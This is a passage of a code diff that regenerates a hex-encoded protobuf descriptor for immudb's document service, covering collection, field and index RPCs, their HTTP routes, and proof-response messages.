0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0xd2, 0x01, 0x0a, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0xd2, 0x01, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0xd2, 0x01, 0x17, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x53, + 0x69, 0x6e, 0x63, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, + 0x64, 0x22, 0xce, 0x02, 0x0a, 0x15, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x44, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x63, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x63, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x30, 0x0a, 0x13, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, + 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x49, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0xd2, 0x01, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x2a, - 0x47, 0x0a, 0x09, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0a, 0x0a, 0x06, - 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x42, 0x4f, 0x4f, 0x4c, - 0x45, 0x41, 0x4e, 0x10, 0x01, 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, 0x54, 0x45, 0x47, 0x45, 0x52, - 0x10, 0x02, 0x12, 0x0a, 0x0a, 0x06, 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, 0x10, 0x03, 0x12, 0x08, - 0x0a, 0x04, 0x55, 0x55, 0x49, 0x44, 0x10, 0x04, 0x2a, 0x5c, 0x0a, 0x12, 0x43, 0x6f, 0x6d, 0x70, - 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x06, - 0x0a, 0x02, 0x45, 0x51, 0x10, 0x00, 0x12, 0x06, 0x0a, 0x02, 0x4e, 0x45, 0x10, 0x01, 0x12, 0x06, - 0x0a, 0x02, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x45, 0x10, 0x03, 0x12, 0x06, - 0x0a, 0x02, 0x47, 0x54, 0x10, 0x04, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x45, 0x10, 0x05, 0x12, 0x08, - 0x0a, 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x06, 0x12, 0x0c, 0x0a, 0x08, 0x4e, 0x4f, 0x54, 0x5f, - 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x07, 0x32, 0xf4, 0x13, 0x0a, 0x0f, 0x44, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x8e, 0x01, 0x0a, 0x10, 0x43, - 0x72, 0x65, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, - 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, - 0x72, 0x65, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, - 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x17, 0x3a, 0x01, 0x2a, 0x22, 0x12, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x6e, 0x61, 0x6d, 0x65, 0x7d, 0x12, 0x7f, 0x0a, 0x0e, 0x47, - 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x23, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x47, 0x65, 0x74, - 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, - 0x6c, 0x2e, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x22, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0e, 0x12, 0x0c, - 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x82, 0x01, 0x0a, - 0x0d, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x22, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x47, 0x65, - 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, - 0x6c, 0x2e, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x28, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x12, 0x12, 0x2f, - 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x6e, 0x61, 0x6d, 0x65, - 0x7d, 0x12, 0x8e, 0x01, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x55, 0x70, 0x64, - 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x3a, 0x01, 0x2a, 0x1a, 0x12, - 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x6e, 0x61, 0x6d, - 0x65, 0x7d, 0x12, 0x8b, 0x01, 0x0a, 0x10, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, - 0x6c, 0x65, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x28, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x2a, 0x12, 0x2f, 0x63, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x6e, 0x61, 0x6d, 0x65, 0x7d, - 0x12, 0x86, 0x01, 0x0a, 0x08, 0x41, 0x64, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x1d, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x41, 0x64, 0x64, - 0x46, 0x69, 0x65, 0x6c, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1e, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x41, 0x64, 0x64, 0x46, - 0x69, 0x65, 0x6c, 0x64, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x3b, 0x92, 0x41, + 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0f, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x41, 0x0a, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, + 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, + 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x56, 0x32, 0x52, 0x0c, 0x76, 0x65, + 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x3a, 0x56, 0x92, 0x41, 0x53, 0x0a, + 0x51, 0xd2, 0x01, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0xd2, 0x01, 0x0c, 0x63, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0xd2, 0x01, 0x13, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, + 0x65, 0xd2, 0x01, 0x0f, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0xd2, 0x01, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, + 0x54, 0x78, 0x2a, 0x47, 0x0a, 0x09, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x54, 0x79, 0x70, 0x65, 0x12, + 0x0a, 0x0a, 0x06, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x42, + 0x4f, 0x4f, 0x4c, 0x45, 0x41, 0x4e, 0x10, 0x01, 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, 0x54, 0x45, + 0x47, 0x45, 0x52, 0x10, 0x02, 0x12, 0x0a, 0x0a, 0x06, 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, 0x10, + 0x03, 0x12, 0x08, 0x0a, 0x04, 0x55, 0x55, 0x49, 0x44, 0x10, 0x04, 0x2a, 0x5c, 0x0a, 0x12, 0x43, + 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, + 0x72, 0x12, 0x06, 0x0a, 0x02, 0x45, 0x51, 0x10, 0x00, 0x12, 0x06, 0x0a, 0x02, 0x4e, 0x45, 0x10, + 0x01, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x45, 0x10, + 0x03, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x54, 0x10, 0x04, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x45, 0x10, + 0x05, 0x12, 0x08, 0x0a, 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x06, 0x12, 0x0c, 0x0a, 0x08, 0x4e, + 0x4f, 0x54, 0x5f, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x07, 0x32, 0xf4, 0x13, 0x0a, 0x0f, 0x44, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x8e, 0x01, + 0x0a, 0x10, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, + 0x6c, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x43, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x22, 0x2b, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x3a, 0x01, 0x2a, 0x22, 0x12, 0x2f, 0x63, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x6e, 0x61, 0x6d, 0x65, 0x7d, 0x12, 0x7f, + 0x0a, 0x0e, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, + 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, + 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, + 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x22, 0x92, 0x41, 0x0b, + 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x0e, 0x12, 0x0c, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, + 0x82, 0x01, 0x0a, 0x0d, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, + 0x2e, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, + 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x28, 0x92, 0x41, 0x0b, 0x0a, + 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, + 0x12, 0x12, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x6e, + 0x61, 0x6d, 0x65, 0x7d, 0x12, 0x8e, 0x01, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, + 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x3a, 0x01, + 0x2a, 0x1a, 0x12, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, + 0x6e, 0x61, 0x6d, 0x65, 0x7d, 0x12, 0x8b, 0x01, 0x0a, 0x10, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, + 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x25, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, + 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, + 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x28, 0x92, 0x41, 0x0b, 0x0a, 0x09, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x2a, + 0x12, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x6e, 0x61, + 0x6d, 0x65, 0x7d, 0x12, 0x86, 0x01, 0x0a, 0x08, 0x41, 0x64, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, + 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, + 0x41, 0x64, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x41, + 0x64, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, + 0x3b, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x27, 0x3a, 0x01, 0x2a, 0x22, 0x22, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x98, 0x01, 0x0a, + 0x0b, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x20, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x52, 0x65, 0x6d, 0x6f, + 0x76, 0x65, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x52, 0x65, + 0x6d, 0x6f, 0x76, 0x65, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x22, 0x44, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x30, 0x2a, 0x2e, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x2f, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x2f, 0x7b, 0x66, 0x69, 0x65, + 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x12, 0x8f, 0x01, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x61, + 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x49, 0x6e, 0x64, + 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x49, + 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x3b, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x27, 0x3a, 0x01, 0x2a, 0x22, 0x22, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x7b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, - 0x6d, 0x65, 0x7d, 0x2f, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x98, 0x01, 0x0a, 0x0b, 0x52, 0x65, - 0x6d, 0x6f, 0x76, 0x65, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x46, - 0x69, 0x65, 0x6c, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x52, 0x65, 0x6d, 0x6f, 